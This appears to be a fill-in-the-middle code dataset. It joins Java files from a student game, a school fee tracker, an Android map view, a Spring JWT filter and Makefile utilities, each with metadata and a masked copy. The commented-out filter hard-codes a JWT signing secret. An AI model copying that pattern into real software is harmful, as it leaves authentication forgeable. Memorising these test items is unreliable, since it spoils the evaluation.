package makhluk; import java.awt.Color; import java.awt.Font; import java.awt.Graphics; /** * @author Jeremia Jason Lasiman - 13514021 * */ public class MakhlukTerbang extends Makhluk { /** default power level. */ private static final int DEFAULT_POWERLEVEL = 65; /** default type. */ private static final int DEFAULT_TYPE = 5; /** constructor without parameter of MakhlukAntiAir.*/ public MakhlukTerbang() { final int randomize1 = 40; final int randomize2 = 140; super.setPowerLevel(DEFAULT_POWERLEVEL); super.setType(DEFAULT_TYPE); super.setAlive(true); final int m = 560; final int m2 = 510; int random1 = (int) (Math.random() * m + randomize1); int random2 = (int) (Math.random() * m2 + randomize2); super.setX(random1); super.setY(random2); } /** constructor with position parameter of MakhlukAntiAir. * @param a this is the x position of makhluk * @param b this is the y position of makhluk */ public MakhlukTerbang(final int a, final int b) { super.setPowerLevel(DEFAULT_POWERLEVEL); super.setType(DEFAULT_TYPE); super.setAlive(true); super.setX(a); super.setY(b); } /** draw the shape of Makhluk. * @param g Graphics */ @Override public final void draw(final Graphics g) { final int red = 255; final int green = 255; final int blue = 0; final int fontsize = 18; Color mycolor = new Color(red, green, blue); g.setColor(mycolor); g.setFont(new Font("Courier New", Font.BOLD, fontsize)); g.drawString("~", super.getX(), super.getY()); } }
berv-uni-project/Makhluk-In-Action
final-GUI/src/makhluk/MakhlukTerbang.java
560
/** default power level. */
block_comment
nl
package makhluk; import java.awt.Color; import java.awt.Font; import java.awt.Graphics; /** * @author Jeremia Jason Lasiman - 13514021 * */ public class MakhlukTerbang extends Makhluk { /** default power level.<SUF>*/ private static final int DEFAULT_POWERLEVEL = 65; /** default type. */ private static final int DEFAULT_TYPE = 5; /** constructor without parameter of MakhlukAntiAir.*/ public MakhlukTerbang() { final int randomize1 = 40; final int randomize2 = 140; super.setPowerLevel(DEFAULT_POWERLEVEL); super.setType(DEFAULT_TYPE); super.setAlive(true); final int m = 560; final int m2 = 510; int random1 = (int) (Math.random() * m + randomize1); int random2 = (int) (Math.random() * m2 + randomize2); super.setX(random1); super.setY(random2); } /** constructor with position parameter of MakhlukAntiAir. * @param a this is the x position of makhluk * @param b this is the y position of makhluk */ public MakhlukTerbang(final int a, final int b) { super.setPowerLevel(DEFAULT_POWERLEVEL); super.setType(DEFAULT_TYPE); super.setAlive(true); super.setX(a); super.setY(b); } /** draw the shape of Makhluk. * @param g Graphics */ @Override public final void draw(final Graphics g) { final int red = 255; final int green = 255; final int blue = 0; final int fontsize = 18; Color mycolor = new Color(red, green, blue); g.setColor(mycolor); g.setFont(new Font("Courier New", Font.BOLD, fontsize)); g.drawString("~", super.getX(), super.getY()); } }
False
442
6
504
6
519
6
504
6
578
6
false
false
false
false
false
true
4,104
74310_2
package school.management.system; /** * Created by Rakshith on 4/3/2017. * This class is responsible for keeping the * track of students fees, name ,grade & fees * paid. * */ public class Student { private int id; private String name; private int grade; private int feesPaid; private int feesTotal; /** * To create a new student by initializing. * Fees for every student is $30,000. * Fees paid initially is 0. * @param id id for the student: unique. * @param name name of the student. * @param grade grade of the student. */ public Student(int id, String name,int grade){ this.feesPaid=0; this.feesTotal=30000; this.id=id; this.name=name; this.grade=grade; } //Not going to alter student's name, student's id. /** * Used to update the student's grade. * @param grade new grade of the student. */ public void setGrade(int grade){ this.grade=grade; } /** * Keep adding the fees to feesPaid Field. * Add the fees to the fees paid. * The school is going receive the funds. * * @param fees the fees that the student pays. */ public void payFees(int fees){ feesPaid+=fees; School.updateTotalMoneyEarned(feesPaid); } /** * * @return id of the student. */ public int getId() { return id; } /** * * @return name of the student. */ public String getName() { return name; } /** * * @return the grade of the student. */ public int getGrade() { return grade; } /** * * @return fees paid by the student. */ public int getFeesPaid() { return feesPaid; } /** * * @return the total fees of the student. */ public int getFeesTotal() { return feesTotal; } /** * * @return the remaining fees. */ public int getRemainingFees(){ return feesTotal-feesPaid; } @Override public String toString() { return "Student's name :"+name+ " Total fees paid so far $"+ feesPaid; } }
rakshithvasudev/Java-Basic-Tutorials
src/school/management/system/Student.java
681
//Not going to alter student's name, student's id.
line_comment
nl
package school.management.system; /** * Created by Rakshith on 4/3/2017. * This class is responsible for keeping the * track of students fees, name ,grade & fees * paid. * */ public class Student { private int id; private String name; private int grade; private int feesPaid; private int feesTotal; /** * To create a new student by initializing. * Fees for every student is $30,000. * Fees paid initially is 0. * @param id id for the student: unique. * @param name name of the student. * @param grade grade of the student. */ public Student(int id, String name,int grade){ this.feesPaid=0; this.feesTotal=30000; this.id=id; this.name=name; this.grade=grade; } //Not going<SUF> /** * Used to update the student's grade. * @param grade new grade of the student. */ public void setGrade(int grade){ this.grade=grade; } /** * Keep adding the fees to feesPaid Field. * Add the fees to the fees paid. * The school is going receive the funds. * * @param fees the fees that the student pays. */ public void payFees(int fees){ feesPaid+=fees; School.updateTotalMoneyEarned(feesPaid); } /** * * @return id of the student. */ public int getId() { return id; } /** * * @return name of the student. */ public String getName() { return name; } /** * * @return the grade of the student. */ public int getGrade() { return grade; } /** * * @return fees paid by the student. */ public int getFeesPaid() { return feesPaid; } /** * * @return the total fees of the student. */ public int getFeesTotal() { return feesTotal; } /** * * @return the remaining fees. */ public int getRemainingFees(){ return feesTotal-feesPaid; } @Override public String toString() { return "Student's name :"+name+ " Total fees paid so far $"+ feesPaid; } }
False
547
13
568
13
652
15
568
13
719
15
false
false
false
false
false
true
787
195938_5
package com.hr.hrmap; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Set; import android.app.Activity; import android.content.Context; import android.content.res.TypedArray; import android.graphics.Canvas; import android.graphics.Color; import android.graphics.Paint; import android.graphics.Path; import android.graphics.RectF; import android.util.AttributeSet; import android.util.Log; import android.view.MotionEvent; import android.view.View; import android.view.View.OnTouchListener; import org.jgrapht.Graphs; import org.jgrapht.UndirectedGraph; import org.jgrapht.alg.DijkstraShortestPath; import org.jgrapht.graph.DefaultEdge; import org.jgrapht.graph.SimpleGraph; import static java.lang.Math.*; public class PlattegrondView extends View implements OnTouchListener { private static final String TAG = "DrawView"; List<Point> points = new ArrayList<Point>(); Paint paint = new Paint(); List<Locatie> locaties = new ArrayList<>(); UndirectedGraph<Locatie, DefaultEdge> g = new SimpleGraph<Locatie, DefaultEdge>(DefaultEdge.class); Canvas canvas; public int currentVerdieping = 1; List<Locatie> path = new ArrayList<>(); public PlattegrondView(Context context, AttributeSet attrs) { super(context, attrs); this.init(context); setFocusable(true); setFocusableInTouchMode(true); this.setOnTouchListener(this); //this.setBackgroundResource(R.drawable.h2); paint.setColor(Color.BLACK); paint.setAntiAlias(true); /* Load the correct list of locaties */ TypedArray a = context.obtainStyledAttributes(attrs, R.styleable.PlattegrondView, 0, 0); String verdieping = a.getString(R.styleable.PlattegrondView_verdieping); MainActivity activity = (MainActivity) getContext(); this.locaties = activity.plattegrond.getLocatiesVanVerdieping(Integer.parseInt(verdieping)); if (activity.plattegrond.getPath() != null && activity.plattegrond.getPath().isEmpty() == false) { this.path = activity.plattegrond.getPath(); } } private void init(Context context) { } public PlattegrondView(Context context) { super(context); setFocusable(true); setFocusableInTouchMode(true); this.setOnTouchListener(this); paint.setColor(Color.BLACK); paint.setAntiAlias(true); } @Override public void onDraw(Canvas canvas) { this.canvas = canvas; paint.setColor(Color.BLACK); paint.setStrokeWidth(5); for (Locatie locatie : locaties) { if(locatie.naam.contains("lift")){ locatie.visible = true; } locatie.draw(canvas); } if (this.path.isEmpty() == false) { Locatie prev = null; //draw the path for (Locatie locatie : path ) { if(containsLocatie(locatie) == false) { continue; } if(locatie.naam.contains("lift")){ locatie.visible = true; } if (prev == null) { prev = locatie; if(prev.naam.contains("lift")){ prev.visible = true; } continue; } if(prev.naam.contains("lift")){ prev.visible = true; } drawPath(prev, locatie); prev = locatie; } } } public boolean containsLocatie(Locatie locatie) { return this.locaties.contains(locatie); } public void drawPath(Locatie l1, Locatie l2) { paint.setStyle(Paint.Style.STROKE); paint.setStrokeWidth(5); paint.setColor(Color.BLUE); Path path = new Path(); path.moveTo(l1.x, l1.y); path.lineTo(l2.x, l2.y); path.close(); canvas.drawPath(path, paint); } public void drawAllEdges() { paint.setStyle(Paint.Style.STROKE); paint.setStrokeWidth(5); paint.setColor(Color.BLUE); for (Locatie locatie : locaties) { for (Locatie locatie1 : locaties) { if (locatie == locatie1) { continue; } DefaultEdge edge = g.getEdge(locatie, locatie1); if (edge != null) { Path path = new Path(); path.moveTo(locatie.x, locatie.y); path.lineTo(locatie1.x, locatie1.y); path.close(); canvas.drawPath(path, paint); } } } } private void drawLocatie(Canvas canvas, Locatie locatie) { canvas.drawCircle(locatie.x, locatie.y, 10, locatie.paint); canvas.drawText(locatie.naam, locatie.x - 50, locatie.y - 20, locatie.paint); } private static Path makeArrow(float length, float height) { Path p = new Path(); p.moveTo(-2.0f, 0.0f); p.lineTo(length, height / 2.0f); p.lineTo(-2.0f, height); p.lineTo(-2.0f, 0.0f); p.close(); return p; } public boolean onTouch(View view, MotionEvent event) { return true; // if(event.getAction() != MotionEvent.ACTION_DOWN) // return super.onTouchEvent(event); // Point point = new Point(); // point.x = event.getX(); // point.y = event.getY(); // points.add(point); // invalidate(); // Log.d(TAG, "point: " + point); // // return true; } class Point { float x, y; @Override public String toString() { return x + ", " + y; } } }
JStorne/HR-MAP
android/HRMap/app/src/main/java/com/hr/hrmap/PlattegrondView.java
1,801
// point.y = event.getY();
line_comment
nl
package com.hr.hrmap; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Set; import android.app.Activity; import android.content.Context; import android.content.res.TypedArray; import android.graphics.Canvas; import android.graphics.Color; import android.graphics.Paint; import android.graphics.Path; import android.graphics.RectF; import android.util.AttributeSet; import android.util.Log; import android.view.MotionEvent; import android.view.View; import android.view.View.OnTouchListener; import org.jgrapht.Graphs; import org.jgrapht.UndirectedGraph; import org.jgrapht.alg.DijkstraShortestPath; import org.jgrapht.graph.DefaultEdge; import org.jgrapht.graph.SimpleGraph; import static java.lang.Math.*; public class PlattegrondView extends View implements OnTouchListener { private static final String TAG = "DrawView"; List<Point> points = new ArrayList<Point>(); Paint paint = new Paint(); List<Locatie> locaties = new ArrayList<>(); UndirectedGraph<Locatie, DefaultEdge> g = new SimpleGraph<Locatie, DefaultEdge>(DefaultEdge.class); Canvas canvas; public int currentVerdieping = 1; List<Locatie> path = new ArrayList<>(); public PlattegrondView(Context context, AttributeSet attrs) { super(context, attrs); this.init(context); setFocusable(true); setFocusableInTouchMode(true); this.setOnTouchListener(this); //this.setBackgroundResource(R.drawable.h2); paint.setColor(Color.BLACK); paint.setAntiAlias(true); /* Load the correct list of locaties */ TypedArray a = context.obtainStyledAttributes(attrs, R.styleable.PlattegrondView, 0, 0); String verdieping = a.getString(R.styleable.PlattegrondView_verdieping); MainActivity activity = (MainActivity) getContext(); this.locaties = activity.plattegrond.getLocatiesVanVerdieping(Integer.parseInt(verdieping)); if (activity.plattegrond.getPath() != null && activity.plattegrond.getPath().isEmpty() == false) { this.path = activity.plattegrond.getPath(); } } private void init(Context context) { } public PlattegrondView(Context context) { super(context); setFocusable(true); setFocusableInTouchMode(true); this.setOnTouchListener(this); paint.setColor(Color.BLACK); paint.setAntiAlias(true); } @Override public void onDraw(Canvas canvas) { this.canvas = canvas; paint.setColor(Color.BLACK); paint.setStrokeWidth(5); for (Locatie locatie : locaties) { if(locatie.naam.contains("lift")){ locatie.visible = true; } locatie.draw(canvas); } if (this.path.isEmpty() == false) { Locatie prev = null; //draw the path for (Locatie locatie : path ) { if(containsLocatie(locatie) == false) { continue; } if(locatie.naam.contains("lift")){ locatie.visible = true; } if (prev == null) { prev = locatie; if(prev.naam.contains("lift")){ prev.visible = true; } continue; } if(prev.naam.contains("lift")){ prev.visible = true; } drawPath(prev, locatie); prev = locatie; } } } public boolean containsLocatie(Locatie locatie) { return this.locaties.contains(locatie); } public void drawPath(Locatie l1, Locatie l2) { paint.setStyle(Paint.Style.STROKE); paint.setStrokeWidth(5); paint.setColor(Color.BLUE); Path path = new Path(); path.moveTo(l1.x, l1.y); path.lineTo(l2.x, l2.y); path.close(); canvas.drawPath(path, paint); } public void drawAllEdges() { paint.setStyle(Paint.Style.STROKE); paint.setStrokeWidth(5); paint.setColor(Color.BLUE); for (Locatie locatie : locaties) { for (Locatie locatie1 : locaties) { if (locatie == locatie1) { continue; } DefaultEdge edge = g.getEdge(locatie, locatie1); if (edge != null) { Path path = new Path(); path.moveTo(locatie.x, locatie.y); path.lineTo(locatie1.x, locatie1.y); path.close(); canvas.drawPath(path, paint); } } } } private void drawLocatie(Canvas canvas, Locatie locatie) { canvas.drawCircle(locatie.x, locatie.y, 10, locatie.paint); canvas.drawText(locatie.naam, locatie.x - 50, locatie.y - 20, locatie.paint); } private static Path makeArrow(float length, float height) { Path p = new Path(); p.moveTo(-2.0f, 0.0f); p.lineTo(length, height / 2.0f); p.lineTo(-2.0f, height); p.lineTo(-2.0f, 0.0f); p.close(); return p; } public boolean onTouch(View view, MotionEvent event) { return true; // if(event.getAction() != MotionEvent.ACTION_DOWN) // return super.onTouchEvent(event); // Point point = new Point(); // point.x = event.getX(); // point.y =<SUF> // points.add(point); // invalidate(); // Log.d(TAG, "point: " + point); // // return true; } class Point { float x, y; @Override public String toString() { return x + ", " + y; } } }
False
1,275
8
1,532
10
1,555
10
1,553
10
1,770
11
false
false
false
false
false
true
1,578
47890_13
// package nl.ryanb.iprwcback.filter; // import com.auth0.jwt.JWT; // import com.auth0.jwt.JWTVerifier; // import com.auth0.jwt.algorithms.Algorithm; // import com.auth0.jwt.interfaces.DecodedJWT; // import com.fasterxml.jackson.databind.ObjectMapper; // import lombok.RequiredArgsConstructor; // import lombok.extern.slf4j.Slf4j; // import nl.ryanb.iprwcback.model.User; // import nl.ryanb.iprwcback.repo.UserRepo; // import org.springframework.security.authentication.BadCredentialsException; // import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; // import org.springframework.security.core.authority.SimpleGrantedAuthority; // import org.springframework.security.core.context.SecurityContextHolder; // import org.springframework.web.bind.annotation.CrossOrigin; // import org.springframework.web.filter.OncePerRequestFilter; // import javax.servlet.FilterChain; // import javax.servlet.ServletException; // import javax.servlet.http.HttpServletRequest; // import javax.servlet.http.HttpServletResponse; // import java.io.IOException; // import java.util.ArrayList; // import java.util.Collection; // import java.util.HashMap; // import java.util.Map; // import static java.util.Arrays.stream; // import static org.springframework.http.HttpHeaders.AUTHORIZATION; // import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; // @RequiredArgsConstructor // @Slf4j // // @CrossOrigin(origins = "http://localhost:4200") // public class AuthorizationFilter extends OncePerRequestFilter { // private final UserRepo userRepo; // @Override // protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException { // if (request.getServletPath().equals("/login") || // request.getServletPath().equals("/user/refresh") // ) { // filterChain.doFilter(request, response); // return; // } // String authorizationHeader = request.getHeader(AUTHORIZATION); // if (authorizationHeader != null && authorizationHeader.startsWith("Bearer ")) { // try { // String token = authorizationHeader.substring("Bearer ".length()); // Algorithm algorithm = Algorithm.HMAC256("DitIsNietVeilig".getBytes()); // JWTVerifier verifier = JWT.require(algorithm).build(); // DecodedJWT decodedJWT = verifier.verify(token); // String username = decodedJWT.getSubject(); // String[] roles = decodedJWT.getClaim("roles").asArray(String.class); // Collection<SimpleGrantedAuthority> authorities = new ArrayList<>(); // stream(roles).forEach(role -> authorities.add(new SimpleGrantedAuthority(role))); // User user = userRepo.findByUsername(username); // if (user.getUsername().isEmpty()) { // throw new BadCredentialsException("User not found in db"); // } // UsernamePasswordAuthenticationToken authenticationToken = // new UsernamePasswordAuthenticationToken(username, null, authorities); // SecurityContextHolder.getContext().setAuthentication(authenticationToken); // } catch (Exception exception) { // log.error("Login Error. test2 {}", exception.getMessage()); // response.setHeader("error", exception.getMessage()); // response.setStatus(403); // Map<String, String> error = new HashMap<>(); // error.put("error_message", exception.getMessage()); // response.setContentType(APPLICATION_JSON_VALUE); // new ObjectMapper().writeValue(response.getOutputStream(), error); // } // } // filterChain.doFilter(request, response); // } // }
Shallow-RB/iprwc-back
src/main/java/nl/ryanb/iprwcback/filter/AuthorizationFilter.java
1,062
// DecodedJWT decodedJWT = verifier.verify(token);
line_comment
nl
// package nl.ryanb.iprwcback.filter; // import com.auth0.jwt.JWT; // import com.auth0.jwt.JWTVerifier; // import com.auth0.jwt.algorithms.Algorithm; // import com.auth0.jwt.interfaces.DecodedJWT; // import com.fasterxml.jackson.databind.ObjectMapper; // import lombok.RequiredArgsConstructor; // import lombok.extern.slf4j.Slf4j; // import nl.ryanb.iprwcback.model.User; // import nl.ryanb.iprwcback.repo.UserRepo; // import org.springframework.security.authentication.BadCredentialsException; // import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; // import org.springframework.security.core.authority.SimpleGrantedAuthority; // import org.springframework.security.core.context.SecurityContextHolder; // import org.springframework.web.bind.annotation.CrossOrigin; // import org.springframework.web.filter.OncePerRequestFilter; // import javax.servlet.FilterChain; // import javax.servlet.ServletException; // import javax.servlet.http.HttpServletRequest; // import javax.servlet.http.HttpServletResponse; // import java.io.IOException; // import java.util.ArrayList; // import java.util.Collection; // import java.util.HashMap; // import java.util.Map; // import static java.util.Arrays.stream; // import static org.springframework.http.HttpHeaders.AUTHORIZATION; // import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; // @RequiredArgsConstructor // @Slf4j // // @CrossOrigin(origins = "http://localhost:4200") // public class AuthorizationFilter extends OncePerRequestFilter { // private final UserRepo userRepo; // @Override // protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException { // if (request.getServletPath().equals("/login") || // request.getServletPath().equals("/user/refresh") // ) { // filterChain.doFilter(request, response); // return; // } // String authorizationHeader = request.getHeader(AUTHORIZATION); // if (authorizationHeader != null && authorizationHeader.startsWith("Bearer ")) { // try { // String token = authorizationHeader.substring("Bearer ".length()); // Algorithm algorithm = Algorithm.HMAC256("DitIsNietVeilig".getBytes()); // JWTVerifier verifier = JWT.require(algorithm).build(); // DecodedJWT decodedJWT<SUF> // String username = decodedJWT.getSubject(); // String[] roles = decodedJWT.getClaim("roles").asArray(String.class); // Collection<SimpleGrantedAuthority> authorities = new ArrayList<>(); // stream(roles).forEach(role -> authorities.add(new SimpleGrantedAuthority(role))); // User user = userRepo.findByUsername(username); // if (user.getUsername().isEmpty()) { // throw new BadCredentialsException("User not found in db"); // } // UsernamePasswordAuthenticationToken authenticationToken = // new UsernamePasswordAuthenticationToken(username, null, authorities); // SecurityContextHolder.getContext().setAuthentication(authenticationToken); // } catch (Exception exception) { // log.error("Login Error. test2 {}", exception.getMessage()); // response.setHeader("error", exception.getMessage()); // response.setStatus(403); // Map<String, String> error = new HashMap<>(); // error.put("error_message", exception.getMessage()); // response.setContentType(APPLICATION_JSON_VALUE); // new ObjectMapper().writeValue(response.getOutputStream(), error); // } // } // filterChain.doFilter(request, response); // } // }
False
708
12
929
14
896
13
929
14
1,037
18
false
false
false
false
false
true
3,879
58224_2
/*--------------------------------------------------------------* Copyright (C) 2006-2015 OpenSim Ltd. This file is distributed WITHOUT ANY WARRANTY. See the file 'License' for details on this and other legal matters. *--------------------------------------------------------------*/ package org.omnetpp.cdt.build; import java.io.ByteArrayInputStream; import java.io.IOException; import java.util.Arrays; import java.util.List; import org.apache.commons.lang3.ArrayUtils; import org.eclipse.core.resources.IContainer; import org.eclipse.core.resources.IFile; import org.eclipse.core.resources.IResource; import org.eclipse.core.runtime.Assert; import org.eclipse.core.runtime.CoreException; import org.eclipse.core.runtime.IPath; import org.eclipse.core.runtime.IProgressMonitor; import org.eclipse.core.runtime.Path; import org.omnetpp.cdt.Activator; import org.omnetpp.common.util.FileUtils; import org.omnetpp.common.util.StringUtils; /** * Utility functions for Makefile generation. * * @author Andras */ public class MakefileTools { // standard C headers, see e.g. http://www-ccs.ucsd.edu/c/lib_over.html public static final String C_HEADERS = "assert.h ctype.h errno.h float.h iso646.h limits.h locale.h " + "math.h setjmp.h signal.h stdarg.h stddef.h stdio.h stdlib.h " + "string.h time.h wchar.h wctype.h"; // C headers added by C99, see http://en.wikipedia.org/wiki/C_standard_library public static final String C99_HEADERS = "complex.h fenv.h inttypes.h stdbool.h stdint.h tgmath.h"; // standard C++ headers, see http://en.wikipedia.org/wiki/C++_standard_library#Standard_headers public static final String CPLUSPLUS_HEADERS = "bitset deque list map queue set stack vector algorithm functional iterator " + "locale memory stdexcept utility string fstream ios iostream iosfwd iomanip " + "istream ostream sstream streambuf complex numeric valarray exception limits " + "new typeinfo cassert cctype cerrno cfloat climits cmath csetjmp csignal " + "cstdlib cstddef cstdarg ctime cstdio cstring cwchar cwctype"; // POSIX headers, see http://en.wikipedia.org/wiki/C_POSIX_library public static final String POSIX_HEADERS = "cpio.h dirent.h fcntl.h grp.h pwd.h sys/ipc.h sys/msg.h sys/sem.h " + "sys/stat.h sys/time.h sys/types.h sys/utsname.h sys/wait.h tar.h termios.h " + "unistd.h utime.h"; // all standard C/C++ headers -- we'll ignore these #includes when looking for cross-folder dependencies public static final String ALL_STANDARD_HEADERS = C_HEADERS + " " + C99_HEADERS + " " + CPLUSPLUS_HEADERS + " " + POSIX_HEADERS; // directories we'll not search for source files public static final String IGNORABLE_DIRS[] = "CVS RCS SCCS _darcs blib .git .svn .git .bzr .hg backups".split(" +"); private MakefileTools() { } /** * Returns true if the given resource is a file with "cc", "cpp" or "h" extension, * but not _m.cc/cpp/h or _n.cc/cpp/h. */ public static boolean isNonGeneratedCppFile(IResource resource) { // not an _m.cc or _n.cc file return isCppFile(resource) && !resource.getName().matches(".*_[mn]\\.[^.]+$"); } /** * Returns true if the given resource is a file with "cc", "cpp" or "h" extension. */ public static boolean isCppFile(IResource resource) { if (resource instanceof IFile) { String fileExtension = ((IFile)resource).getFileExtension(); if ("cc".equalsIgnoreCase(fileExtension) || "cpp".equalsIgnoreCase(fileExtension) || "h".equalsIgnoreCase(fileExtension)) return true; } return false; } /** * Returns true if the given resource is a file with "msg" extension. */ public static boolean isMsgFile(IResource resource) { return resource instanceof IFile && "msg".equals(((IFile)resource).getFileExtension()); } /** * Returns true if the given resource is a file with "sm" extension. */ public static boolean isSmFile(IResource resource) { return resource instanceof IFile && "sm".equals(((IFile)resource).getFileExtension()); } /** * Returns true if the resource is a potential source folder * (not team private or backups folder). Does NOT check whether * folder is marked as excluded in CDT. */ public static boolean isGoodFolder(IResource resource) { // note: we explicitly check for "CVS", "_darcs" etc, because they are only recognized by // isTeamPrivateMember() if the corresponding plugin is installed return (resource instanceof IContainer && !resource.getName().startsWith(".") && !ArrayUtils.contains(MakefileTools.IGNORABLE_DIRS, resource.getName()) && !((IContainer)resource).isTeamPrivateMember()); } /** * Converts inputPath to be relative to referenceDir. This is not possible * if the two paths are from different devices, so in this case the method * returns the original inputPath unchanged. */ public static IPath makeRelativePath(IPath inputPath, IPath referenceDir) { Assert.isTrue(inputPath.isAbsolute()); Assert.isTrue(referenceDir.isAbsolute()); if (referenceDir.equals(inputPath)) return new Path("."); if (!StringUtils.equals(inputPath.getDevice(), referenceDir.getDevice())) return inputPath; int commonPrefixLen = inputPath.matchingFirstSegments(referenceDir); int upLevels = referenceDir.segmentCount() - commonPrefixLen; return new Path(StringUtils.removeEnd(StringUtils.repeat("../", upLevels), "/")).append(inputPath.removeFirstSegments(commonPrefixLen)); } public static void ensureFileContent(IFile file, byte[] bytes, IProgressMonitor monitor) throws CoreException { // only overwrites file if its content is not already what's desired try { file.refreshLocal(IResource.DEPTH_ZERO, monitor); if (!file.exists()) file.create(new ByteArrayInputStream(bytes), true, monitor); else if (!Arrays.equals(FileUtils.readBinaryFile(file.getContents()), bytes)) // NOTE: byte[].equals does NOT compare content, only references!!! file.setContents(new ByteArrayInputStream(bytes), true, false, monitor); } catch (IOException e) { throw Activator.wrapIntoCoreException(e); } } /** * Utility function to determine whether a given container is covered by * a given makefile. CDT source dirs and exclusions (CSourceEntry) are ignored, * instead there is excludedFolders (list of folder-relative paths to be excluded; * it excludes subtrees not single folders), and makeFolders (i.e. the given folder * may falls into the tree of another makefile). * * Both excludedFolders and makeFolders may be null. */ public static boolean makefileCovers(IContainer makefileFolder, IContainer folder, boolean deep, List<String> excludedFolders, List<IContainer> makeFolders) { if (!deep) { return folder.equals(makefileFolder); } else { if (!makefileFolder.getFullPath().isPrefixOf(folder.getFullPath())) return false; // not under that folder if (excludedFolders != null) { IPath folderRelativePath = folder.getFullPath().removeFirstSegments(makefileFolder.getFullPath().segmentCount()); for (String exludedFolder : excludedFolders) if (new Path(exludedFolder).isPrefixOf(folderRelativePath)) return false; // excluded } if (makeFolders != null) { // we visit the ancestors of this folder; if we find another makefile first, the answer is "false" for (IContainer tmp = folder; !tmp.equals(makefileFolder); tmp = tmp.getParent()) if (makeFolders.contains(tmp)) return false; } return true; } } //XXX experimental // // public static void updateProjectIncludePaths(ICProjectDescription projectDescription) throws CoreException { // List<IContainer> desiredIncDirs = MakefileTools.collectDirs(projectDescription, null); // for (ICConfigurationDescription config : projectDescription.getConfigurations()) { // ICFolderDescription rootFolderDesc = (ICFolderDescription)config.getResourceDescription(new Path(""), true); // ICLanguageSetting[] languageSettings = rootFolderDesc.getLanguageSettings(); // // ICLanguageSetting languageSetting = null; // for (ICLanguageSetting l : languageSettings) { // Debug.println("name:" + l.getName() + " langsettingid:" + l.getId() + " parentid:" + l.getParent().toString() + " langID:" + l.getLanguageId()); // List<ICLanguageSettingEntry> list = l.getSettingEntriesList(ICSettingEntry.INCLUDE_PATH); // //list.add(new CIncludePathEntry("/hello/bubu", ICSettingEntry.VALUE_WORKSPACE_PATH | ICSettingEntry.READONLY | ICSettingEntry.BUILTIN)); // //list.add(new CIncludePathEntry("/hello/bubu"+System.currentTimeMillis(), ~0)); // list.add(new CIncludePathEntry("/hello/syspath"+System.currentTimeMillis(), ICSettingEntry.READONLY | ICSettingEntry.BUILTIN)); // for (ICLanguageSettingEntry e : list) // Debug.println(" " + e); // // possible flags: BUILTIN, READONLY, LOCAL (??), VALUE_WORKSPACE_PATH, RESOLVED // l.setSettingEntries(ICSettingEntry.INCLUDE_PATH, list); // ===> DOES NOT WORK, BUILTIN/READONLY FLAGS GET CLEARED BY CDT // // List<ICLanguageSettingEntry> list2 = l.getSettingEntriesList(ICSettingEntry.INCLUDE_PATH); // for (ICLanguageSettingEntry e : list2) { // if (e instanceof CIncludePathEntry) { // ReflectionUtils.setFieldValue(e, "fFlags", e.getFlags() | ICSettingEntry.READONLY); // } // Debug.println(" " + e); // } // } // // remove existing include paths // // add new include paths // //XXX language settings! and folder specific!! AAARGH.... // } // // // see https://bugs.eclipse.org/bugs/show_bug.cgi?id=206372 // // // testing CoreModel.setRawPathEntries() -- yields editable entries like ICLangageSettingEntry... // IProject project = projectDescription.getProject(); // ICProject cproject = CoreModel.getDefault().getCModel().getCProject(project.getName()); // IPathEntry[] rawPathEntries = CoreModel.getRawPathEntries(cproject); // for (IPathEntry e : rawPathEntries) // Debug.println("** ENTRY: " + e); // IncludeEntry newEntry = new IncludeEntry(new Path(""), new Path(""), new Path(""), new Path("/someproj/inc-"+System.currentTimeMillis()), true, new IPath[]{}, false); // rawPathEntries = (IPathEntry[])ArrayUtils.add(rawPathEntries, newEntry); // CoreModel.setRawPathEntries(cproject, rawPathEntries, null); // // // random test code... // IDiscoveredPathInfo discoveredInfo = MakeCorePlugin.getDefault().getDiscoveryManager().getDiscoveredInfo(project); // Debug.println(discoveredInfo); // } }
omnetpp/omnetpp
ui/org.omnetpp.cdt/src/org/omnetpp/cdt/build/MakefileTools.java
3,279
// standard C headers, see e.g. http://www-ccs.ucsd.edu/c/lib_over.html
line_comment
nl
/*--------------------------------------------------------------* Copyright (C) 2006-2015 OpenSim Ltd. This file is distributed WITHOUT ANY WARRANTY. See the file 'License' for details on this and other legal matters. *--------------------------------------------------------------*/ package org.omnetpp.cdt.build; import java.io.ByteArrayInputStream; import java.io.IOException; import java.util.Arrays; import java.util.List; import org.apache.commons.lang3.ArrayUtils; import org.eclipse.core.resources.IContainer; import org.eclipse.core.resources.IFile; import org.eclipse.core.resources.IResource; import org.eclipse.core.runtime.Assert; import org.eclipse.core.runtime.CoreException; import org.eclipse.core.runtime.IPath; import org.eclipse.core.runtime.IProgressMonitor; import org.eclipse.core.runtime.Path; import org.omnetpp.cdt.Activator; import org.omnetpp.common.util.FileUtils; import org.omnetpp.common.util.StringUtils; /** * Utility functions for Makefile generation. * * @author Andras */ public class MakefileTools { // standard C<SUF> public static final String C_HEADERS = "assert.h ctype.h errno.h float.h iso646.h limits.h locale.h " + "math.h setjmp.h signal.h stdarg.h stddef.h stdio.h stdlib.h " + "string.h time.h wchar.h wctype.h"; // C headers added by C99, see http://en.wikipedia.org/wiki/C_standard_library public static final String C99_HEADERS = "complex.h fenv.h inttypes.h stdbool.h stdint.h tgmath.h"; // standard C++ headers, see http://en.wikipedia.org/wiki/C++_standard_library#Standard_headers public static final String CPLUSPLUS_HEADERS = "bitset deque list map queue set stack vector algorithm functional iterator " + "locale memory stdexcept utility string fstream ios iostream iosfwd iomanip " + "istream ostream sstream streambuf complex numeric valarray exception limits " + "new typeinfo cassert cctype cerrno cfloat climits cmath csetjmp csignal " + "cstdlib cstddef cstdarg ctime cstdio cstring cwchar cwctype"; // POSIX headers, see http://en.wikipedia.org/wiki/C_POSIX_library public static final String POSIX_HEADERS = "cpio.h dirent.h fcntl.h grp.h pwd.h sys/ipc.h sys/msg.h sys/sem.h " + "sys/stat.h sys/time.h sys/types.h sys/utsname.h sys/wait.h tar.h termios.h " + "unistd.h utime.h"; // all standard C/C++ headers -- we'll ignore these #includes when looking for cross-folder dependencies public static final String ALL_STANDARD_HEADERS = C_HEADERS + " " + C99_HEADERS 